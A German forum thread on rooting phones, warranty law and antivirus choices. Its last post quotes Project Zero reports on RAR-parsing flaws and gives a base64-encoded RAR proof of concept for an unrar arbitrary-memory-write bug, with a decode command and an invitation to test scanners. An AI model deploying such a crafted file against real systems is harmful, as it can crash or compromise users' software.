Virenscanner, das Geschäft mit Angst und fragwürdiger Moral

[Novgorod]

all die argumente gelten auch für den PC, nur dass da der hersteller (in der regel) nicht versucht, einem steine in den weg zu legen.. sowohl moderne handys als auch "vorgefertigte" PCs (bzw. betriebssysteme) sind von haus aus wartungsarm - nur eben auch nicht professionell nutzbar dank all der einschränkungen.. ein custom ROM aufzuspielen ist auch nicht komplizierter oder aufwendiger als ein anderes OS auf dem PC zu installieren.. inakzeptabel wird es nur dann, wenn man dadurch eine bezahlte leistung (garantie) verliert oder bestimmte funktionen (die sich momentan noch in grenzen halten).. ich verstehe aber nicht, warum handy rooten problematischer sein soll - das einzige problem ist wenn überhaupt ein rechtliches..

 

[alter_Bekannter]

In Deutschland nicht, in Deutschland darfst du rooten.


Sogar Gewährleistung kannst du danach noch erfolgreich einklagen. Hatte allerdings selber noch keinen Problemfall. Handys haben halt keine wirklich Fehleranfälligen Teile abgeshen vom aktuellsten Hipstermodell wo man um die Nachfrage zu erfüllen ium Zweifel auf Quantität statt Qualität bei den Quellen geht.

--- [2017-06-13 13:15 CEST] Automatisch zusammengeführter Beitrag ---

@BurnerR:
Warum einziges? Gebrauchte bekommt man nachgeschnmissen der Markt ist total übersättigt. Wenn dir deine Freiheten kein Experiment bis 50€ Wert sind ist das offensichtlich keine Priorität.

 

[Novgorod]

in Deutschland darfst du rooten.

theoretisch ja, aber wer wird schon das risiko eines rechtsstreits eingehen, wenn die garantieabteilung von samsung bei einem geknoxten handy von einem selbstverschuldeten "hardwareschaden" ausgeht.. ich kenne diesbezüglich auch keinen präzedenzfall, lediglich gewährleistung kann man tatsächlich einklagen (und händler haben in der regel eine wesentlich kleinere rechtsabteilung als samsung, d.h. es besteht auch tatsächlich eine reale chance), dann bleibt eben der händler auf den kosten sitzen.. es senkt auch den wiederverkaufswert, wenn man nicht den "originalzustand" wiederherstellen kann..

 

[alter_Bekannter]

Und deswegen sollte man sowas bevorzugt so oft machen bis die Hersteller einsichtig werden.

Senkt den Wiederverkaufswert? Vorbereitet ist auf ebay üblicherweise eher mehr Wert und Originalfirmware wieder draufmachen geht idR auch.

 

[bevoller]

theoretisch ja, aber wer wird schon das risiko eines rechtsstreits eingehen, wenn die garantieabteilung von samsung bei einem geknoxten handy von einem selbstverschuldeten "hardwareschaden" ausgeht.. ich kenne diesbezüglich auch keinen präzedenzfall, lediglich gewährleistung kann man tatsächlich einklagen (und händler haben in der regel eine wesentlich kleinere rechtsabteilung als samsung, d.h. es besteht auch tatsächlich eine reale chance), dann bleibt eben der händler auf den kosten sitzen..

Warum sollte er? Die Beweislast für einen Sachmangel geht nach sechs Monaten automatisch auf den Käufer über. Insofern ist die "Verbesserung" durch die Verlängerung der Sachmängelhaftung eine Mogelpackung.

 

[Novgorod]

@alter_Bekannter: es kommt eben drauf an, ob etwas rückgängig zu machen ist.. geräte mit dem "e-fuse"-schwachsinn kann man i.d.r. nicht wieder in den originalzustand versetzen und die damit verbundenen einschränkungen (garantie-drama, ggf. nicht funktionierende apps) tragen sicher nicht dazu bei, den wiederverkaufswert zu steigern, selbst wenn das für die meisten nutzer (noch) eher keine rolle spielt..

@bevoller: eben, mit garantie müsste man sich garnicht erst darum kümmern, wer die beweislast hat.. aber abgesehen davon heißt es ja nicht, dass ein defekt nach 6 monaten nicht mehr durch die gewährleistung gedeckt ist.. wenn der grafikchip nach einem jahr durchbrennt, ist es ziemlich eindeutig, dass der fehler bereits beim kauf vorlag und - noch wichtiger - dass er nichts damit zu tun hat, was der knox-wert gerade anzeigt..

 

[nik]

Deswegen greift, was alter_bekannter weiter oben im Thread bereits geschrieben hat. Wenn man drauf achtet, von wem man kauft, muss man sich um so was keine Gedanken machen. Gibt ja zum Glück Hersteller, die erlauben, dass man den bootloader unlocked und das Handy rootet.

 

[HoneyBadger]

@nik: Leider gibt´s dann oft trotzdem keine OTA-Updates mehr. Das könnte noch etwas besser laufen.

 

[Novgorod]

Gibt ja zum Glück Hersteller, die erlauben, dass man den bootloader unlocked und das Handy rootet.

die gibt es schon, aber leider nicht mit vergleichbarer hardware.. stell dir vor, die neueste geforce gäbe es nur für eine hand voll PC-modelle von dell, aber auch nur fest aufs mainboard aufgelötet und mit einer "e-fuse", falls du es wagen solltest, den windows-admin-account freischalten zu wollen ..

 

[nik]

@HoneyBadger: das liegt aber am Betriebssystem und nicht am Hersteller. Das Update dann von Hand zu flashen ist ja wirklich kein großer Aufwand.

@Novgorod: Würde ich nicht kaufen. Wieso machst dus?

 

[Mr. White]

@Novgorod: Noch nie was von OnePlus gehört?

 

[drfuture]

Oder das hier kaufen... ist ja dann genau das Richtige...
https://pyra-handheld.com/boards/pages/pyra/

 

[n87]

Die Pandora gibts noch immer?

 

[alter_Bekannter]

Ich habe noch nie mehr als 240€ für ein Smartphone ausgegeben. Sonst wärs okay.

Kann die Pyra von den SD-Slots booten?

Below the battery you will find a MicroSDXC slot (and a SIM-Card slot for the 4G/LTE version), meaning it's easy to experiment with different operating systems, or expand upon the 32GB internal storage.

 

[Novgorod]

@Novgorod: Noch nie was von OnePlus gehört?

hm, klingt durchaus interessant, wenn es tatsächlich vergleichbare hardware hat (damit meine ich nicht nur den snapdragon).. "deutlich billiger" heißt ja nicht automatisch auch besser ..

 

[Mr. White]

@Novgorod: Das OnePlus 5 hat so ziemlich die beste Hardware, die man aktuell in einem Smartphone verbauen kann und kostet mit 128GB Speicher 560€.

 

[diddy]

Ich Frage einfach mal hier, passt ja irgendwie.

Der Windows Defender Antivirus von (Windows 10 Creators Update) taugt der was und ist der ausreichend?

 

[HoneyBadger]

@diddy: Jo, passt. Antwort siehe hier.

 

[drfuture]

Kaspersky klagt ja in der EU wegen "unlauterem" Wettbewerb, nach eigenen Angaben weil Microsoft "warnt" das man nicht jeden x-beliebigen anderen Virenscanner nehmen soll sondern sich überlegen soll ob man dem anderen Produkt vertraut.
Vielleicht aber auch weil sie wissen das der Scanner zu gut ist als das sie ihr eigenes Produkt normal verkaufen können ;p

 

[braegler]

Ob man Kaspersky wohl auch mit nem passenden Rar-Archiv aus dem Trab bringen kann?
Bitdefender AV crashes on malicious RAR files from 2013: https://bugs.chromium.org/p/project-zero/issues/detail?id=1278
VMSF_DELTA filter in unrar allows arbitrary memory write: https://bugs.chromium.org/p/project-zero/issues/detail?id=1286
....und ich bin echt gespannt, was noch kommen wird. Die Bugs 1262-1277 sowie 1279-1285 sind noch nicht öffentlich einsehbar.

Lust etwas Feldforschung zu betreiben?

Spoiler

einfach mal aus dem Base64-Code eine Rar machen (unter linux z.b. mit "cat explo.txt | base64 -d > explo1286.rar" wobei explo.txt den base64-code enthält, oder aber mit http://www.motobit.com/util/base64-decoder-encoder.asp ) und den Virenscanner der Wahl drüber rennen lassen

A minimal test example that crashes unrar 5.40 and prior is base64-encoded below:
Base64-encoded RAR file to trigger the VMSF_DELTA issue:

UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA
Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA